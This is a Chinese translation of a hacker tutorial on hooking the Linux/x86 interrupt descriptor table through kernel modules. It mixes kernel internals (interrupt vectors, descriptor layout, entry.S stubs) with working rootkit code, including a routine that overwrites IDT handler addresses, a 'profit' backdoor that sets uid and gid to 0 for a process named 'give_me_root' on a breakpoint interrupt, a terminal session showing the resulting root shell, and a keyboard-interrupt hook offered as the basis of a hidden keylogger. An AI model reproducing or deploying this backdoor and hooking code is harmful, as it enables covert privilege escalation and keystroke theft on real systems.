玩转idt
时间:2005-06-24 来源:我菜我怕谁
0 - 前言
1 - 绪论
2 - 介绍
2.1 - 什么是中断(interrupt)?
2.2 - 中断和异常(exception)
2.3 - 中断向量
2.4 - 什么是IDT?
3 - 异常
3.1 - 异常列表
3.2 - 当异常出现时会发生什么 ?
3.3 - 中断钩子(Hooking) by mammon
3.4 - 一般中断钩子
3.5 - profit钩子 : 我们第一个后门
3.6 - fun钩子
4 - 硬件中断
4.1 - 它是如何工作的 ?
4.2 - 初始化和半底(bottom half)激活过程
4.3 - 键盘中断钩子
5 - 为系统调用安排的异常
5.1 - 系统调用列表
5.2 - 系统调用是如何工作的 ?
5.3 - profit钩子
5.3.1 - sys_setuid钩子
5.3.2 - sys_write钩子
5.4 - fun钩子
6 - CheckIDT
7 - 参考 & 致谢
8 - 附录
前言:
看到这片文章就让我想到LSD在5th Argus Hacking Challenge上的精彩表演。
只不过当时玩的是系统LDT漏洞,现在玩的是系统IDT后门。翻译不妥的地方还请斧正,如果您
的英文比较好的话,还是看原文吧。
--[ 1 - 绪论
众所周知,Intel x86 CPU能够运行在两种模式下:一种是实模式,一种是保护模式。
实模式我们就不讨论了,现在所有的操作系统都使用的是保护模式来使内核和一般进程隔离。
保护模式提供4个不同的权限等级(ring0...ring3)。用户应用程序在ring3,系统内核运行
在ring0.这使内核获得了访问所有CPU寄存器和硬件内存的权力。
在文中,我们将演示如何在Linux/x86上修改IDT。再进一步,我们将演示如何使用
一些技术重定向系统调用(象LKM做到的那样)。
本文中的例子只来说明使用LKM把可执行代码装载到内核空间是件容易的事情。其他超出
本文讨论范围的技术也可以用来把可执行代码装载到内核空间或者用来隐藏内核模块(就象
Spacewalker的方法一样)。
CheckIDT是个有用的工具,它检查IDT并且每5分钟避免内核panic一次。
--[ 2 - 介绍
----[ 2.1 - 什么是中断(interrupt)?
"中断被定义为当一个事件发生时,改变处理器的指令序列。这样的事件可由CPU芯片
内部或者外部硬件产生电信号产生"
(摘自: "Understanding the Linux kernel," O'Reilly publishing.)
----[ 2.2 - 中断和异常(exception)
Intel参考手册上指出“同步中断”(在一个指令执行完成后,由CPU控制单元产生的)作为“异常”。
异步中断(可能会在任意时刻由其他硬件产生的)才称为“中断”。中断被外部的I/O设备产生。
但是异常是由编程错误或者是由反常情况(必须由内核来处理)触发的。在该文档中,
术语“中断信号”既指异常又指中断。
中断分为两种类型:可屏蔽中断--它在短时间片段里可被忽略;不可屏蔽中断--它必须被立即处理。
不可屏蔽中断是由紧急事件产生例如硬件失败。著名的IRQS(中断请求)失败划为可屏蔽中断。
异常被分为不同的两类:处理器产生的异常(Faults, Traps, Aborts)和编程安排的
异常(用汇编指令int or int3 触发)。后一种就是我们经常说到的软中断。
----[ 2.3 - 中断向量
每个中断或者异常用一个0-255的数字识别。Intel称这个数字为向量(vector).这些
数字如下分类:
- From 0 to 31 : 异常和不可屏蔽中断
- From 32 to 47 : 可屏蔽中断
- From 48 to 255 : 软中断
Linux只使用一个软中断(0x80)作为调用系统内核函数的系统调用接口。
硬件IRQs从IRQ0...IRQ15分别被关联到了中断向量32..47。
----[ 2.4 - 什么是IDT?
IDT = Interrupt Descriptor Table 中断描述表
IDT是一个有256个入口的线形表,每个中断向量关联了一个中断处理过程。
每个IDT的入口是个8字节的描述符,所以整个IDT表的大小为256*8=2048 bytes
IDT有三种不同的描述符或者说是入口:
- 任务门描述符 Task Gate Descriptor
Linux 没有使用该类型描述符
- 中断门描述符 Interrupt Gate Descriptor
63 48|47 40|39 32
+------------------------------------------------------------
| | |D|D| | | | | | | | |
| HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED
| | |L|L| | | | | | | | |
=============================================================
| |
SEGMENT SELECTOR | HANDLER OFFSET (0-15) |
| |
------------------------------------------------------------+
31 16|15 0
- bits 0 to 15 : handler offset low
- bits 16 to 31 : segment selector
- bits 32 to 37 : reserved
- bits 37 to 39 : 0
- bits 40 to 47 : flags/type
- bits 48 to 63 : handler offset high
- 陷阱门描述符 Trap Gate Descriptor
同上,只是flag不同
flag 组成如下 :
- 5 bits for the type
interrupt gate : 1 1 1 1 0
trap gate : 0 1 1 1 0
- 2 bits for DPL
DPL = descriptor privilege level
- 1 bit reserved
Offset low和offset high组成了处理中断函数的地址。当中断发生时会直接跳到该
地址运行。本文的目标是改变那些地址并且让我们自己的中断处理函数执行
DPL=Descriptor Privilege Level
DPL等于0或者是3. 0是特权等级(内核模式). 当前的执行等级被保存在CPL寄存器中
(Current Privilege Level). 控制单元UC (Unit Of Control) 比较CPL中的值和IDT中断
描述符中的DPL字段。假如DPL值大于(较小权限)或者等于CPL值,那么中断处理过程被执行。
用户应用程序在ring3(CPL==3)中执行。某些中断在用户态是不能够被调用的。
IDT被BIOS程序首先初始化,但是当Linux得到控制权后,Linux自己又重新设置了IDT。
汇编指令lidt提供了初始化idtr寄存器---它包含了IDT的大小和IDT的地址。
然后setup_idt函数填充了256个IDT入口--使用了同样的中断门(ignore_int)。然后按照需要,
安装正确的中断门。
linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
在idt寄存器指向的地址n位置插入一个中断门。'addr'中存放中断处理地址。
linux/arch/i386/kernel/irq.c
所有可屏蔽中断和软中断被set_intr_gate初始化:
set_intr_gate :
#define FIRST_EXTERNAL_VECTOR 0x20
for (i = 0; i < NR_IRQS; i++) {
int vector = FIRST_EXTERNAL_VECTOR + i;
if (vector != SYSCALL_VECTOR)
set_intr_gate(vector, interrupt[i]);
linux/arch/i386/kernel/traps.c::set_system_gate(n, addr)
插入一个陷阱门
DPL设置为3.
下面这些中断可以在ring3级调用:
set_system_gate(3,&int3)
set_system_gate(4,&overflow)
set_system_gate(5,&bounds)
set_system_gate(0x80,&system_call);
linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr)
安装一个陷阱门,DPL设置为0
其他异常用set_trap-gate初始化:
set_trap_gate(0,÷_error)
set_trap_gate(1,&debug)
set_trap_gate(2,&nmi)
set_trap_gate(6,&invalid_op)
set_trap_gate(7,&device_not_available)
set_trap_gate(8,&double_fault)
set_trap_gate(9,&coprocessor_segment_overrun)
set_trap_gate(10,&invalid_TSS)
set_trap_gate(11,&segment_not_present)
set_trap_gate(12,&stack_segment)
set_trap_gate(13,&general_protection)
set_trap_gate(14,&page_fault)
set_trap_gate(15,&spurious_interrupt_bug)
set_trap_gate(16,&coprocessor_error)
set_trap_gate(17,&alignement_check)
set_trap_gate(18,&machine_check)
IRQ中断被set_intr_gate()初始化,异常int3,overflow, bound 和system_call软中断
使用set_system_gate()设置。
所有其他的异常用set_trap_gate()设置。
让我们开始一些实践,解释每个中断当前关联的中断处理函数地址。使用CheckIDT [6]工具
[root@redhat73 root]# ./checkidt -A -s
Int *** Stub Address *** Segment *** DPL *** Type Handler Name
--------------------------------------------------------------------------
0 0xc01089d8 KERNEL_CS 0 Trap gate divide_error
1 0xc0108a74 KERNEL_CS 0 Trap gate debug
2 0xc0108a80 KERNEL_CS 0 Interrupt gate nmi
3 0xc0108ab0 KERNEL_CS 3 System gate int3
4 0xc0108abc KERNEL_CS 3 System gate overflow
5 0xc0108ac8 KERNEL_CS 3 System gate bounds
6 0xc0108ad4 KERNEL_CS 0 Trap gate invalid_op
...
18 0xc0108b40 KERNEL_CS 0 Trap gate machine_check
19 0xc0108a28 KERNEL_CS 0 Trap gate simd_coprocessor_error
20 0xc0100200 KERNEL_CS 0 Interrupt gate ignore_int
...
31 0xc0100200 KERNEL_CS 0 Interrupt gate ignore_int
32 0xc021e2ac KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt
33 0xc021e2b4 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt
...
47 0xc021e330 KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt
128 0xc01088f0 KERNEL_CS 3 System gate system_call
System.map包含该地址的标号名
[root@redhat73 root]# grep c0108a80 /boot/System.map
c0108a80 T nmi
nmi=not maskable interrupt ->trap_gate
[root@redhat73 root]# grep c0108abc /boot/System.map
c0108abc T overflow
overflow -> system_gate
[root@redhat73 root]# grep c0100200 /boot/System.map
c0100200 t ignore_int
18到31 Intel保留
[root@redhat73 root]# grep c021e2ac /boot/System.map
c021e2ac r IRQ0x00_interrupt
device keyboard ->intr_gate
[root@redhat73 root]# grep c01088f0 /boot/System.map
c01088f0 T system_call
system call -> system_gate
注: checkIDT有个选项解析标号
--[ 3 - 异常
----[ 3.1 - 异常列表
--------------------------------------------------------------------------+
number | Exception | Exception Handler |
--------------------------------------------------------------------------+
0 | Divide Error | divide_error() |
1 | Debug | debug() |
2 | Nonmaskable Interrupt | nmi() |
3 | Break Point | int3() |
4 | Overflow | overflow() |
5 | Boundary verification | bounds() |
6 | Invalid operation code | invalid_op() |
7 | Device not available | device_not_available() |
8 | Double Fault | double_fault() |
9 | Coprocessor segment overrun | coprocesseur_segment_overrun() |
10 | TSS not valid | invalid_tss() |
11 | Segment not present | segment_no_present() |
12 | stack exception | stack_segment() |
13 | General Protection | general_protection() |
14 | Page Fault | page_fault() |
15 | Reserved by Intel | none |
16 | Calcul Error with float virgul| coprocessor_error() |
17 | Alignement check | alignement_check() |
18 | Machine Check | machine_check() |
--------------------------------------------------------------------------+
异常被分为两类:
- 处理器侦测的异常(DPL为0)
- 软中断(aka programmed exceptions) (DPL为3).
后者我们可在用户态调用。
----[ 3.2 - 当异常出现时会发生什么 ?
当一个中断发生,当前中断的中断处理函数被执行。该处理函数不是真正的处理异常函数,
它仅仅做个跳转,跳转到更好的处理函数。
异常 -----> 中间处理函数 -----> 真正的处理异常函数
entry.S 定义了所有的中间处理函数,也称为通用处理函数或者是stub.
中间处理函数用asm写的,后面真正的处理函数是用C写的。
让我们看看entry.S :
entry.S :
---------
**************************************************
ENTRY(nmi)
pushl $0
pushl $ SYMBOL_NAME(do_nmi)
jmp error_code
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
ENTRY(overflow)
pushl $0
pushl $ SYMBOL_NAME(do_overflow)
jmp error_code
ENTRY(divide_error)
pushl $0 # no error value/code
pushl $ SYMBOL_NAME(do_divide_error)
ALIGN
error_code:
pushl %ds
pushl %eax
xorl %eax,%eax
pushl %ebp
pushl %edi
pushl %esi
pushl %edx //保存寄存器值
decl %eax # eax = -1//设置eax为 -1.
pushl %ecx
pushl %ebx
cld
movl %es,%cx
movl ORIG_EAX(%esp), %esi # get the error value
movl ES(%esp), %edi # get the function address
//拷贝硬件错误值($esp + 36)和处理函数地址($esp + 32)分别到esi和edi中。
movl %eax, ORIG_EAX(%esp)
movl %ecx, ES(%esp) //把eax(现在为-1)拷贝到错误代码的位置, 把es拷贝到$esp+32的堆栈中。
movl %esp,%edx //保存stack顶的地址到edx中,然后把error_code值和edx放到stack中。
pushl %esi # push the error code
pushl %edx # push the pt_regs pointer
movl $(__KERNEL_DS),%edx
movl %dx,%ds
movl %dx,%es //把内核数据段选择子放到ds和es寄存器中
GET_CURRENT(%ebx) //把当前进程描述结构的地址放到ebx中
call *%edi
addl $8,%esp
jmp ret_from_exception
**********************************************
解释下上面的代码:
所有的处理函数有同样的结构(只有system_call和device_not_available是不同的):
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
Pushl $0 仅仅在某些异常中使用. 假设控制单元把异常的硬件错误值放到堆栈中。
有些异常不产生错误值所以用0代替。 最后一行跳转到error_code
(细节看linux/arch/i386/kernel/entry.S).
错误值在异常中使用,是个asm的宏。
让我们再继续
异常 -----> 中间处理函数 ---> error_code宏 -----> 真正的处理异常函数
汇编代码error_code执行片段:
1: 保存寄存器值
2: 设置eax为 -1.
3: 拷贝硬件错误值($esp + 36)和处理函数地址($esp + 32)分别到esi和edi中。
movl ORIG_EAX(%esp), %esi
movl ES(%esp), %edi
4: 把eax(现在为-1)拷贝到错误代码的位置, 把es拷贝到$esp+32的堆栈中。
5: 保存stack顶的地址到edx中,然后把error_code值和edx放到stack中。
6: 把内核数据段选择子放到ds和es寄存器中
7: 把当前进程描述结构的地址放到ebx中
8: 这些参数放在stack中(例如硬件异常值,地址,还用户模式进程的保存的寄存器值),将被C语言
的函数使用
9: 调用异常处理函数(函数地址放在edi中).
10: 最后两个指令是为了异常的返回准备的
error_code将跳到适当的异常处理函数中。(具体细节看traps.c)
那些真正的异常处理函数是用C写的。
让我们拿一个异常处理函数作为一个具体的例子。比如不可屏蔽的nmi中断处理函数。
注: 摘自traps.c
**************************************************************
asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
{
unsigned char reason = inb(0x61);
extern atomic_t nmi_counter;
....
**************************************************************
asmlinkage是个宏,使用它是为了保持参数在stack中。因为从汇编语言到C语言代码参数
的传递是通过stack的,它也可能从stack中得到一些不需要的参数。Asmlinkage将要
解析那些参数。
函数do_nmi得到pt_regs类型和error_code参数
pt_regs 在 /usr/include/asm/ptrace.h定义:
struct pt_regs {
long ebx;
long ecx;
long edx;
long esi;
long edi;
long ebp;
long eax;
int xds;
int xes;
long orig_eax;
long eip;
int xcs;
long eflags;
long esp;
int xss;
};
寄存器的一部分 被error_code代码已经放到了stack中,其他的寄存器被UC在硬件等级下也
放到了stack中了。
该处理函数将处理异常并且会发一个信号到进程。
----[ 3.3 - 中断钩子(Hooking) by mammon
Mammon写了一篇关于在linux如何hook中断的文章。上面讲到的技术和本文差不多。但本文
使用一种更通用更一般的方法来处理中断。
让我们拿int3看,这是个断点(breakpoint)中断。该handler/stub定义如下:
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
硬件错误值0和C函数处理地址被推到了stack中。接下来汇编代码error_code被执行。
我们重写了asm的处理函数,把我们自己的异常处理地址推到stack中来替代原来的处理函数(do_int3).
例如:
void stub_kad(void)
{
__asm__ (
".globl my_stub "
".align 4,0x90 "
"my_stub: "
"pushl $0 "
"pushl ptr_handler(,1) "
"jmp *ptr_error_code "
::
);
}
我们自己的asm处理函数看上去和原来的差不多。
- 我们在函数中使用汇编代码使link更容易
- .globl my_stub, 假如我们这样定义:in global : extern asmlinkage void my_stub();
这样就允许我们调用my_stub代码。
- align 4,0x90, 4字节对齐。在Intel处理器上是4字节对齐的。
- push ptr_handler(,1) , 符合gas语法风格
更多的关于inline汇编请参考 [1].
我们push我们自己的处理函数地址,跳到error_code代码。
ptr_handler是我们C处理函数地址:
unsigned long ptr_handler=(unsigned long)&my_handler;
C 处理函数:
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
{
void (*old_int_handler)(struct pt_regs *,long) = (void *)
old_handler;
printk("<1>Wowowo hijacking of int 3 ");
(*old_int_handler)(regs,err_code);
return;
}
我们需要取回两个参数,一个是寄存器指针,一个是err_code.
我们已经看到,前面error_code代码已经push了这两个参数。我们保存着老的处理函数地址。
在我们的处理函数里,我们打印出一些信息表示我们已经hooked了中断并且重新调用老的处理函数。
该方法是典型的hook系统调用的方法。
old_handler地址多少 ?
#define do_int3 0xc010977c
unsigned long old_handler=do_int3;
do_int3 地址可以从 System.map 获得。
更清楚些 :
asm Handler
----------------
push 0
push our handler
jmp to error_code
error_code
----------
do some operation
pop our handler address
jmp to our C handler
our C Handler
--------------------
save the old handler's address
print a message
return to the real C handler
Real C Handler
-------------------
really deal with the interrupt
现在我们修正IDT中的描述符(offset_low and offset_high)来改变中断处理函数的地址。
函数接受三个参数:要hook的中断号,新处理函数地址,保存着老处理函数地址的指针。
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
}
struct descriptor_idt:
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
一个描述符长度为64 bits
unsigned short : 16 bits (offset_low,seg_selector and offset_high)
unsigned char : 8 bits (reserved and flag)
(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet
我们感兴趣的是offset_high和offset_low字段.我们需要修改它。
Hook_stub执行步骤:
1: 拷贝我们的处理函数地址到new_addr
2: 使idt变量指向第一个IDT描述符。
get_addr_idt()得到IDT地址.
3: 使用get_stub_from_idt我们可以保存老的处理函数的地址。
struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
n = 要hook的中断号. idte是包含该中断的中断描述符。
返回值为是中断处理函数的地址,(void*) (32 bits)类型。
offset_high和offset_low都是16 bits, 这两个值组合起来就是32位的,一个完整的
中断处理函数地址。
4 : new_addr为我们的处理函数地址,也是32位的。
我们把new_addr 16 MSB放到offset_high,16 LSB放到offset_low。
改变中断描述符中的offset_high和offset_low字段。
在附加CODE 1中有整个代码。
为什么这个技术不是完美的?
尽管它不是太糟糕,但是不适合其他的中断。在这里,我们允许所有的处理函数有
如下形式:
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
事实上,假如你看一下entry.S的话,看上去他们都是如上形式。但是,也不全是,想象下,
你要hook系统调用,或者是device_not_aivable处理函数甚至是硬件中断....那么我们
该如何做呢?
----[ 3.4 - 一般中断钩子
我们将使用不同的技术来hook函数。请记住,处理函数是用C写的,我们使用return返回到
真正的C处理函数内。
现在我们回头asm的代码。
简单的处理函数:
void stub_kad(void)
{
__asm__ (
".globl my_stub "
".align 4,0x90 "
"my_stub: "
" call *%0 "
" jmp *%1 "
::"m"(hostile_code),"m"(old_stub)
);
}
在这里,我们调用我们自己的C处理函数,处理函数被执行并且接下来又跳回到原来的asm的处理函数。
我们的 C 处理函数 :
asmlinkage void my_function()
{
printk("<1>Interrupt %i hijack ",interrupt);
}
发生了什么 ?
我们用我们的汇编代码改变了idt中某个中断的地址。
当某个中断被触发时候调用过程
stub_kad()-------->hostile_code----->old_stub----->
error_code宏 -----> 真正的处理异常函数
::"m"(hostile_code),"m"(old_stub)
我们需要懂得一些inline asm汇编指令,下面是它的风格:
asm (
assembler instruction
: output operands
: input operands
: list of modified registers
);
我们可以使用asm或者__asm__指令。
关于一些inline的汇编指令请参考相关的资料,你也可以从这里得到一些相关资料
http://www.whitecell.org/forums/viewtopic.php?topic=989&forum=4&4
第一个有形的例子 :
bash-2.05# cat test.c
#include <stdio.h>
int main ()
{
int a=8,b=0;
printf("A/B = %i ",a/b);
return 0;
}
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
bash-2.05# insmod hookstub-V0.2.o interrupt=0
Inserting hook
Hooking finish
bash-2.05# ./test
Floating point exception
Interrupt 0 hijack
bash-2.05# rmmod hookstub-V0.2
Removing hook
bash-2.05#
很好! 我们看到了"Interrupt hijack".
在该代码中,我们使用了MODULE_PARM,它运行在插入模块的时候传参数进去。更多关于
MODULE_PARM的,请参阅"linux device drivers" from o'reilly [2] (chapter 2).
这就允许我们使用同一个模块去hook不同的选择的中断。
----[ 3.5 - profit钩子 : 我们第一个后门
该后门允许我们获得root shell. C 处理函数将会给产生特定中断的进程ROOT权限。
Asm 处理函数部分
------------
void stub_kad(void)
{
__asm__ (
".globl my_stub "
".align 4,0x90 "
"my_stub: "
" pushl %%ebx "
" movl %%esp,%%ebx "
" andl $-8192,%%ebx "
" pushl %%ebx "
" call *%0 "
" addl $4,%%esp "
" popl %%ebx "
" jmp *%1 "
::"m"(hostile_code),"m"(old_stub)
);
}
我们把当前进程描述(使用GET_CURRENT宏)传递到了C处理函数里。又跳回error_code代码。
#define GET_CURRENT(reg)
movl %esp, reg;
andl $-8192, reg;
定义在entry.S.
注 : 我们也可以使用current替代
C handler :
-------------
...
unsigned long hostile_code=(unsigned long)&my_function;
...
asmlinkage void my_function(unsigned long addr_task)
{
struct task_struct *p = &((struct task_struct *) addr_task)[0];
if(strcmp(p->comm,"give_me_root")==0 )
{
p->uid=0;
p->gid=0;
}
}
我们定义了一个指针指向当前进程描述符(current process descriptor)。比较进程名。
我们没必要给所有产生这个中断的进程于ROOT权限。假如是我们的进程,给予新的权限。
"give_me_root"都是小写字母,它产生个shell。
在产生shell之前需要先产生个断点中断,我们才会变成root权限。
演练 :
--------------
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c
bash-2.05# insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finish
bash-2.05#
///// in another shell //////
sh-2.05$ cat give_me_root.c
#include <stdio.h>
int main (int argc, char ** argv)
{
system("/bin/sh");
return 0;
}
sh-2.05$ gcc -o give_me_root give_me_root.c
[alert7@redhat73 alert7]$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
[alert7@redhat73 alert7]$ gdb give_me_root -q
(gdb) b main
Breakpoint 1 at 0x8048406
(gdb) r
Starting program: /home/alert7/give_me_root
Breakpoint 1, 0x08048406 in main ()
(gdb) c
Continuing.
sh-2.05a# id
uid=0(root) gid=0(root) groups=502(alert7)
OK,现在我们是ROOT了。hookstub-V0.2.c代码在附件CODE 2
----[ 3.6 - fun钩子
异常跟踪器是比较感兴趣的一个东西。例如我们可以hook所有的异常来打印出哪个异常是由哪个
进程触发的。我们也能在任何时候知道谁干了什么。我们也可以打印出寄存器的值。
在arch/i386/kernel/process.c中有个函数show_regs就是完成这个功能。
void show_regs(struct pt_regs * regs)
{
long cr0 = 0L, cr2 = 0L, cr3 = 0L;
printk(" ");
printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip);
if (regs->xcs & 3)
printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
printk(" EFLAGS: %08lx ",regs->eflags);
printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx ",
regs->eax,regs->ebx,regs->ecx,regs->edx);
printk("ESI: %08lx EDI: %08lx EBP: %08lx",
regs->esi, regs->edi, regs->ebp);
printk(" DS: %04x ES: %04x ",
0xffff & regs->xds,0xffff & regs->xes);
__asm__("movl %%cr0, %0": "=r" (cr0));
__asm__("movl %%cr2, %0": "=r" (cr2));
__asm__("movl %%cr3, %0": "=r" (cr3));
printk("CR0: %08lx CR2: %08lx CR3: %08lx ", cr0, cr2, cr3);
}
你可以在每次异常的时候调用该函数打印寄存器值。
有时,改变asm处理函数是比较危险的,所以真正的C处理函数可以不被执行。处理器产生异常的
时候不会收到例如SIGSTOP或者SIGSEGV的信号。在某些情况,这会是很有用的。
--[ 4 - 硬件中断
----[ 4.1 - 它是如何工作的 ?
我们也可以使用同样的方法hook IRQs产生的中断,但是hook它们就没多大意义了(说不定
你有好注意哦,告诉我哈)。在这,我们将hook 中断33键盘中断。有个问题是该中断发生好
多次。处理函数很短时间被执行好多次,所以处理函数要快而不能阻塞了系统。为了避免这个,
我们将使用半底(bottom half).那些优先权小点的半底函数大部分情况适合中断处理。kernel
等待合适的时候调用它们。在半底执行中,其他的中断是不被屏蔽的。
以下情况,等待的半底将被执行:
- kernel处理完系统调用syscall
- kernel处理完一个异常
- kernel处理完一个中断
- kernel为了选择新进程而调用schedule()函数
在处理器返回到用户模式前,它们将会被执行。
所以,半底是很有用的,确保一个中断的快速处理。
下面是LINUX使用的半底
----------------+-------------------------------+
Bottom half | Peripheral equipment |
----------------+-------------------------------+
CONSOLE_BH | Virtual console |
IMMEDIATE_BH | Immediate tasks file |
KEYBOARD_BH | Keyboard |
NET_BH | Network interface |
SCSI_BH | SCSI interface |
TIMER_BH | Clock |
TQUEUE_BH | Periodic tasks queue |
... | |
----------------+-------------------------------+
呵呵,好象跑题了,研究半底不是本文的目的。具体关于这个题目的文章请看
http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]
IRQ 列表
--------
警告 ! : 为同样的IRQs来说中断号不总是相同的!
----+---------------+----------------------------------------
IRQ | Interrupt | Peripheral equipment
----+---------------+----------------------------------------
0 | 32 | Timer
1 | 33 | Keyboard
2 | 34 | PIC cascade
3 | 35 | Second serial port
4 | 36 | First serial port
6 | 37 | Floppy drive
8 | 40 | System clock
11 | 43 | Network interface
12 | 44 | PS/2 mouse
13 | 45 | Mathematic coprocessor
14 | 46 | First EIDE disk controller
15 | 47 | Second EIDE disk controller
----+---------------+----------------------------------------
----[ 4.2 - 初始化和半底(bottom half)激活过程
半底需要使用init_bh(n,routine)函数初始化,该函数把函数地址插入bh_base的第n个
入口(bh_base保存着半底部分的一个数组)。但它被初始化后,它才可以被激活和执行。函数
mark_bh(n)用来激活中断的底半部分。
所有中断的底半部分用tq_struct类型中的元素把它们连接起来。
struct tq_struct {
struct tq_struct *next; /* linked list of active bh's */
unsigned long sync; /* must be initialized to zero */
void (*routine)(void *); /* function to call */
void *data; /* argument to function */
};
宏DELACRE_TASK_QUEUE(name,fonction,data)允许我们声明一个tasklet,
它将被插入任务队列(使用函数queue_task)。这里有几个任务队列,我们敢兴趣的是
tq_immediate队列,该队列在半底IMMEDIATE_BH执行(immediate队列).
(include/linux/tqueue.h)
----[ 4.3 - 键盘中断钩子
当我们击一键时,中断发生两次。一次是我们push一个key的时候,一次是释放一个键的时候。
以下代码每10次中断显示个message,假如击了5次键,那么message将出现。
asm处理函数同3.4,这里我们就不显示了
Code
----
...
struct Variable
{
int entier;
char chaine[10];
};
...
static void evil_fonction(void * status)
{
struct Variable *var = (struct Variable * )status;
nb++;
if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s ",
nb,var->entier,var->chaine);
}
...
asmlinkage void my_function()
{
static struct Variable variable;
static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
variable.entier=3;
strcpy(variable.chaine,"haha hijacked key :) ");
queue_task(&my_task,&tq_immediate);
mark_bh(IMMEDIATE_BH);
}
我们定义了一个tasklet my_task,使用我们的函数和参数初始化。因为tasklet允许我们
仅使用一个参数,所以我们使用了结构地址。这将允许我们几个参数。我们把该tasklet加到
tq_immediate列表(使用queue_task)。最后,使用mark_bh激活底部分IMMEDIATE_BH。
mark_bh(IMMEDIATE_BH)
我们必须激活IMMEDIATE_BH,它处理任务队列'tq_immediate' 。当请求的时间触发时候,
evil_function函数将被执行(listed in part 4.1)
evil_function仅仅10次中断显示一个message.我们有效的hook了键盘中断。我们可以使用该
方法写个内核键盘记录器。这个将非常的隐蔽,因为它是在中断级别的。在这里(我没有用代码实现)
我们可以知道哪个key被击中了。为了做这个,我们可以使用函数inb()来读I/O端口。系统里有
65536个I/O端口(8 bits ports). 2个8 bits ports组成一个16 位的 ports,2个16位的ports
组成一个32位的 ports.
inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port.
outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.
所以,我么能使用inb函数读键盘扫描码scancode和键盘状态status(压下,释放键盘)。
不幸的是,我不敢确定要读的端口。扫描码的端口可能是0x60,状态端口可能是0x64吧.
scancode=inb(0x60);
status=inb(0x64);
scancode值和键击的key有着一个转换关系,作者不能确定到底是如何转换的。
假如有人知道或者有人想发展这个的话,请联系作者